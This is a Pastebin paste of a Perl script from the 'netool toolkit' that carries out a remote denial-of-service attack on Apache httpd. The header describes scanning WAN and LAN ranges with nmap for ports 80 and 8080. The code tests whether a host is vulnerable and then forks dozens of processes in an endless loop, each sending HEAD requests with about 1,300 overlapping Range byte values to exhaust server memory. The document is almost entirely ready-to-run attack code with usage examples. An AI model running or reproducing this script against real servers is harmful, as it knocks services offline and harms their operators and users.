r00t-3xp10it

[ netool toolkit ] Apache httpd d0s exploit

Jan 29th, 2015
514
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 3.59 KB | None | 0 0
  1. #################################################################
  2. # (netool t00lkit v4.5 -> Apache httpd Remote Denial of Service #
  3. # this function will be inserted in netool -> r00tsect0r module #
  4. # we are going to use nmap to search in WAN for 8080 or in LAN  #
  5. # for port 80+8080 and lunch a denial-of-service attack         #
  6. # ------------------------------------------------------------- #
  7. # Develop  By: peterubuntu10[at]sourceforge[dot]net             #
  8. # Special Thanks to: rob van der woude (IO::Socket -> funtion)  #
  9. # ------------------------------------------------------------- #
  10. # usage: perl killhttpd.pl <host> [numforks]                    #
  11. # example: perl killhttpd.pl www.example.com 50                 #
  12. # example: perl killhttpd.pl 192.168.1.68 50                    #
  13. #################################################################
  14. #!/usr/bin/perl
  15.  
  16.  
  17.  
  18.  
  19. # ------------------------------
  20. # perl dependencies
  21. # ------------------------------
  22. use IO::Socket;
  23. use Parallel::ForkManager;
  24. use Term::ANSIColor;
  25.  
  26.  
  27.  
  28.  
  29. # ------------------------------
  30. # Banner sub usage display
  31. # ------------------------------
  32. sub bannerusage {
  33.  
  34.     print color("blue"), "[!] Apache Remote Denial of Service (memory exhaustion)\n", color("reset");
  35.     print color("cyan"), "[!] usage: perl killhttpd.pl <host> [numforks]\n", color("reset");
  36.     print color("cyan"), "[!] example: perl killhttpd.pl www.example.com 50\n", color("reset");
  37.     print color("cyan"), "[!] example: perl killhttpd.pl 192.168.1.68 50\n", color("reset");
  38. }
  39.  
  40.  
  41.  
  42.  
  43. # ------------------------------
  44. # test if Apache httpd is vulnerable
  45. # ------------------------------
  46. sub testhttpd {
  47. my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
  48.                                  PeerPort => "80",
  49.                                  PeerPort => "8080",
  50.                              Proto    => 'tcp');
  51.  
  52. # build http header
  53. $p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
  54. print $sock $p;
  55.  
  56.   $x = <$sock>;
  57.   if ($x =~ /Partial/) {
  58.       print color("green"), "[!] host seems vuln\n", color("reset");
  59.       return 1;
  60.   } else {
  61.       return 0;
  62.   }
  63. }
  64.  
  65. # exit script if args < 0
  66. # host not vulnerable banner/exit script
  67. if ($#ARGV < 0) {
  68.     bannerusage;
  69.     exit;  
  70. }
  71.  
  72. # if args > 1
  73. # store number of forks to use on attack
  74. if ($#ARGV > 1) {
  75.     $numforks = $ARGV[1];
  76. } else {$numforks = 50;}
  77.  
  78.  
  79.  
  80.  
  81. # ------------------------------
  82. # display results of apache test/exit OR goto killhttpd
  83. # ------------------------------
  84. $v = testhttpd();
  85. if ($v == 0) {
  86.     print color("red"), "[x] Host does not seem vulnerable\n", color("reset");
  87.     exit;  
  88. }
  89. while(1) {
  90. killhttpd();
  91. }
  92.  
  93.  
  94.  
  95.  
  96. # ------------------------------
  97. # funtion kill httpd service
  98. # ------------------------------
  99. sub killhttpd {
  100. print color("blue") "[!] ATTACKING: $ARGV[0] [using $numforks forks]\n", color("reset");   
  101. $pm = new Parallel::ForkManager($numforks);
  102.  
  103.   $|=1;
  104.   srand(time());
  105.   $p = "";
  106.   for ($k=0;$k<1300;$k++) {
  107.       $p .= ",5-$k";
  108. }
  109.  
  110. # building  socks
  111. for ($k=0;$k<$numforks;$k++) {
  112. my $pid = $pm->start and next;  
  113.    
  114. $x = "";
  115. my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
  116.                                  PeerPort => "80",
  117.                                  PeerPort => "8080",
  118.                                  Proto    => 'tcp');
  119.  
  120. # build http header
  121. $p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
  122. print $sock $p;
  123.  
  124.   while(<$sock>) {
  125.   }
  126.    $pm->finish;
  127.   }
  128.   $pm->wait_all_children;
  129.   print ":pPpPpppPpPPppPpppPp\n";
  130. }
Advertisement
Add Comment
Please, Sign In to add comment